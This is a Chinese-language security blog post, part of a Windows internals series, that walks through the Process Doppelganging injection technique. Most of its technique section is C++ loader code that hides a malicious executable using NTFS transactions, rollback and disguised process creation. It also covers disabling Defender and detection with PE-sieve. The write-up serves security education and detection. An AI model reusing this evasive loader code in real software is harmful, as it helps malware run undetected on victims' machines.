iT邦幫忙

2023 iThome 鐵人賽

DAY 8
1
Security

Windows Security 101系列 第 8

[Day8] Process Injection Party (Part 2): Process Doppelganging

  • 分享至 

  • xImage
  •  

今天要來介紹的是 Process Doppelganging,這個技巧的特別之處是利用 Windows Transactional NTFS (TxF) 的 transaction rollback 的功能。在 Windows Transactional NTFS (TxF) 中,可以在開啟檔案前開啟一個 transaction,之後對檔案進行地操作可以藉由 transaction rollback 還原至開啟前在 Disk 中的狀態。攻擊者同樣可以利用這個手法。

今天介紹的專案是來自於資安研究員 hasherezade,她是 PE-sieve 和 PE-bear 的作者,也非常活躍的在分享惡意程式使用的技術,另外她有很多這種 Process Injection 的專案。(其實 Process Hollowing 應該拿她的專案來講解,但我在寫上一篇時忘記她也有寫 orz)

Process Doppelganging

Process Doppelganging 可以分成幾個步驟:

1. Prepare malware

使用 MapViewOfFile 將 malicious PE 映射至 process memory,在複製到 VirtualAlloc 新增的 page

BYTE *buffer_payload(wchar_t *filename, OUT size_t &r_size)
{
    HANDLE file = CreateFileW(filename, GENERIC_READ, FILE_SHARE_READ, 0, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);
    if(file == INVALID_HANDLE_VALUE) {
#ifdef _DEBUG
        std::cerr << "Could not open file!" << std::endl;
#endif
        return nullptr;
    }
    HANDLE mapping = CreateFileMapping(file, 0, PAGE_READONLY, 0, 0, 0);
    if (!mapping) {
#ifdef _DEBUG
        std::cerr << "Could not create mapping!" << std::endl;
#endif
        CloseHandle(file);
        return nullptr;
    }
    BYTE *dllRawData = (BYTE*) MapViewOfFile(mapping, FILE_MAP_READ, 0, 0, 0);
    if (dllRawData == nullptr) {
#ifdef _DEBUG
        std::cerr << "Could not map view of file" << std::endl;
#endif
        CloseHandle(mapping);
        CloseHandle(file);
        return nullptr;
    }
    r_size = GetFileSize(file, 0);
    BYTE* localCopyAddress = (BYTE*) VirtualAlloc(NULL, r_size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    if (localCopyAddress == NULL) {
        std::cerr << "Could not allocate memory in the current process" << std::endl;
        return nullptr;
    }
    memcpy(localCopyAddress, dllRawData, r_size);
    UnmapViewOfFile(dllRawData);
    CloseHandle(mapping);
    CloseHandle(file);
    return localCopyAddress;
}

2. Write transacted file with malicious PE

先使用 CreateTransaction 初始化 transaction,再使用 CreateFileTransactedW 和 WriteFile 對任意的 TEMP File 寫入惡意程式。

HANDLE make_transacted_section(BYTE* payloadBuf, DWORD payloadSize)
{
    DWORD options, isolationLvl, isolationFlags, timeout;
    options = isolationLvl = isolationFlags = timeout = 0;

    HANDLE hTransaction = CreateTransaction(nullptr, nullptr, options, isolationLvl, isolationFlags, timeout, nullptr);
    if (hTransaction == INVALID_HANDLE_VALUE) {
        std::cerr << "Failed to create transaction!" << std::endl;
        return INVALID_HANDLE_VALUE;
    
    wchar_t dummy_name[MAX_PATH] = { 0 };
    wchar_t temp_path[MAX_PATH] = { 0 };
    DWORD size = GetTempPathW(MAX_PATH, temp_path);

    GetTempFileNameW(temp_path, L"TH", 0, dummy_name);
    HANDLE hTransactedWriter = CreateFileTransactedW(dummy_name,
        GENERIC_WRITE,
        FILE_SHARE_READ,
        NULL,
        CREATE_ALWAYS,
        FILE_ATTRIBUTE_NORMAL,
        NULL,
        hTransaction,
        NULL,
        NULL
    );
    if (hTransactedWriter == INVALID_HANDLE_VALUE) {
        std::cerr << "Failed to create transacted file: " << GetLastError() << std::endl;
        return INVALID_HANDLE_VALUE;
    }

    DWORD writtenLen = 0;
    if (!WriteFile(hTransactedWriter, payloadBuf, payloadSize, &writtenLen, NULL)) {
        std::cerr << "Failed writing payload! Error: " << GetLastError() << std::endl;
        return INVALID_HANDLE_VALUE;
    }
    CloseHandle(hTransactedWriter);
    hTransactedWriter = nullptr;

3. Create section with transacted file

使用 CreateFileTransactedW 和 NtCreateSection 從 transacted file 讀取 malicious PE,並載入成 section。

    HANDLE hTransactedReader = CreateFileTransactedW(dummy_name,
        GENERIC_READ,
        FILE_SHARE_WRITE,
        NULL,
        OPEN_EXISTING,
        FILE_ATTRIBUTE_NORMAL,
        NULL,
        hTransaction,
        NULL,
        NULL
    );
    if (hTransactedReader == INVALID_HANDLE_VALUE) {
        std::cerr << "Failed to open transacted file: " << GetLastError() << std::endl;
        return INVALID_HANDLE_VALUE;
    }

    HANDLE hSection = nullptr;
    NTSTATUS status = NtCreateSection(&hSection,
        SECTION_MAP_EXECUTE,
        NULL,
        0,
        PAGE_READONLY,
        SEC_IMAGE,
        hTransactedReader
    );
    if (status != STATUS_SUCCESS) {
        std::cerr << "NtCreateSection failed: " << std::hex << status << std::endl;
        return INVALID_HANDLE_VALUE;
    }
    CloseHandle(hTransactedReader);
    hTransactedReader = nullptr;

4. Rollback the transaction of the transacted file

建立完 section 後,執行 RollbackTransaction,將對 TEMP file 的寫入操作還原,如此一來,就不會在 Disk 留下檔案。

    if (RollbackTransaction(hTransaction) == FALSE) {
        std::cerr << "RollbackTransaction failed: " << std::hex << GetLastError() << std::endl;
        return INVALID_HANDLE_VALUE;
    }
    CloseHandle(hTransaction);
    hTransaction = nullptr;

    return hSection;
}

5. Create process with transacted section

利用 NtCreateProcessEx 以 section handle 來建立 process。各位細心的讀者,應該會發現這邊用的 NtCreateProcessEx 和我在 Process Creation 講的 NtCreateUserProcess 不同。Windows 提供了更細緻的 system call 可以在不用 NtCreateUserProcess 的情況下,透過一些 system call 的組合建立 process

bool process_doppel(wchar_t* targetPath, BYTE* payloadBuf, DWORD payloadSize)
{
    HANDLE hSection = make_transacted_section(payloadBuf, payloadSize);
    if (!hSection || hSection == INVALID_HANDLE_VALUE) {
        return false;
    }
    HANDLE hProcess = nullptr;
    NTSTATUS status = NtCreateProcessEx(
        &hProcess, //ProcessHandle
        PROCESS_ALL_ACCESS, //DesiredAccess
        NULL, //ObjectAttributes
        NtCurrentProcess(), //ParentProcess
        PS_INHERIT_HANDLES, //Flags
        hSection, //sectionHandle
        NULL, //DebugPort
        NULL, //ExceptionPort
        FALSE //InJob
    );
    if (status != STATUS_SUCCESS) {
        std::cerr << "NtCreateProcessEx failed! Status: " << std::hex << status << std::endl;
        if (status == STATUS_IMAGE_MACHINE_TYPE_MISMATCH) {
            std::cerr << "[!] The payload has mismatching bitness!" << std::endl;
        }
        return false;
    }

6. Get Entrypoint

這邊不需要修改 PEB,因為是用載入好的 section 建立 process,而不像 Process Hollowing,在建立完 process 後才進行修改。

    PROCESS_BASIC_INFORMATION pi = { 0 };

    DWORD ReturnLength = 0;
    status = NtQueryInformationProcess(
        hProcess,
        ProcessBasicInformation,
        &pi,
        sizeof(PROCESS_BASIC_INFORMATION),
        &ReturnLength
    );
    if (status != STATUS_SUCCESS) {
        std::cerr << "NtQueryInformationProcess failed: " << std::hex << status << std::endl;
        return false;
    }
    PEB peb_copy = { 0 };
    if (!buffer_remote_peb(hProcess, pi, peb_copy)) {
        return false;
    }
    ULONGLONG imageBase = (ULONGLONG) peb_copy.ImageBaseAddress;
#ifdef _DEBUG
    std::cout << "ImageBase address: " << (std::hex) << (ULONGLONG)imageBase << std::endl;
#endif
    DWORD payload_ep = get_entry_point_rva(payloadBuf);
    ULONGLONG procEntry =  payload_ep + imageBase;

    if (!setup_process_parameters(hProcess, pi, targetPath)) {
        std::cerr << "Parameters setup failed" << std::endl;
        return false;
    }
    std::cout << "[+] Process created! Pid = " << std::dec << GetProcessId(hProcess) << "\n";
#ifdef _DEBUG
    std::cerr << "EntryPoint at: " << (std::hex) << (ULONGLONG)procEntry << std::endl;
#endif

7. Launch thread

到這一步已經將 malicious PE 完全載入成 process,也取得 malicious PE 的 entrypoint,接著就是發起第一條 thread

    HANDLE hThread = NULL;
    status = NtCreateThreadEx(&hThread,
        THREAD_ALL_ACCESS,
        NULL,
        hProcess,
        (LPTHREAD_START_ROUTINE) procEntry,
        NULL,
        FALSE,
        0,
        0,
        0,
        NULL
    );

    if (status != STATUS_SUCCESS) {
        std::cerr << "NtCreateThreadEx failed: " << std::hex << status << std::endl;
        return false;
    }

    return true;
}

執行結果:

專案的issue 有熱心的網友發現是 WdFilter.sys 會去阻擋 NtCreateThreadEx 的執行,所以將 Windows Defender 關掉後就可以成功執行。(至於怎麼關 Defender,又是另外一個故事了...)

https://ithelp.ithome.com.tw/upload/images/20230922/20120098soh3NnfvPj.png

用 Process Explorer 觀察,會發現 process 已經建立但尚未執行,並且 image file 是拿來偽裝的 dbgview64.exe 而不是真正在執行的 autoruns64.exe

https://ithelp.ithome.com.tw/upload/images/20230922/20120098tvLxjyIJOd.png

根據我在 Process Creation 的介紹,這種 process 載入方式會有個小問題是需要 GUI 的 application,應該還需要有 Windows Subystem (csrss.exe) 的介入,但是這邊並沒有這道程序,或許這是導致沒有 GUI 但是 process 仍在執行的奇怪狀態的原因。

https://ithelp.ithome.com.tw/upload/images/20230922/20120098AYG8XTy59x.png

這邊也來介紹 hasherezade 做的工具 PE-sieve,透過比對 module list 的 DLL 和其他對 process image 的比對,這工具可以將可疑 process 的 image 存成 file,並且顯示掃描的結果。

https://ithelp.ithome.com.tw/upload/images/20230922/20120098cUsp8dAfw8.png

看到這 icon 應該也就一目了然這是 autoruns64.exe

https://ithelp.ithome.com.tw/upload/images/20230922/20120098hIPrQ9VzZy.png

Osiris Loader

另外,在 MalwareBytes 的研究中,他們發現在 Osiris Loader 這隻惡意程式中,將 Process Hollowing 和 Process Doppelganging 的概念結合在一起,先建立暫停執行的 process,然後利用 transaction 將惡意程式先載入成 section。

https://ithelp.ithome.com.tw/upload/images/20230922/20120098RBpshUPBpG.png
(ref: https://www.malwarebytes.com/blog/news/2018/08/process-doppelganging-meets-process-hollowing_osiris)

之後的手法就跟 Process Hollowing 一樣,寫入 image 要載入的內容,修改 PEB、Relocation 和 thread context,最後執行 thread。

hasherezade 以此技巧寫了開源專案命名為 Transacted Hollowing

下一篇,我將介紹 Process Reimaging!

References


上一篇
[Day7] Process Injection Party (Part 1): Process Hollowing
下一篇
[Day9] Process Injection Party (Part 3): Process Reimaging
系列文
Windows Security 10130
圖片
  直播研討會
圖片
{{ item.channelVendor }} {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

尚未有邦友留言

立即登入留言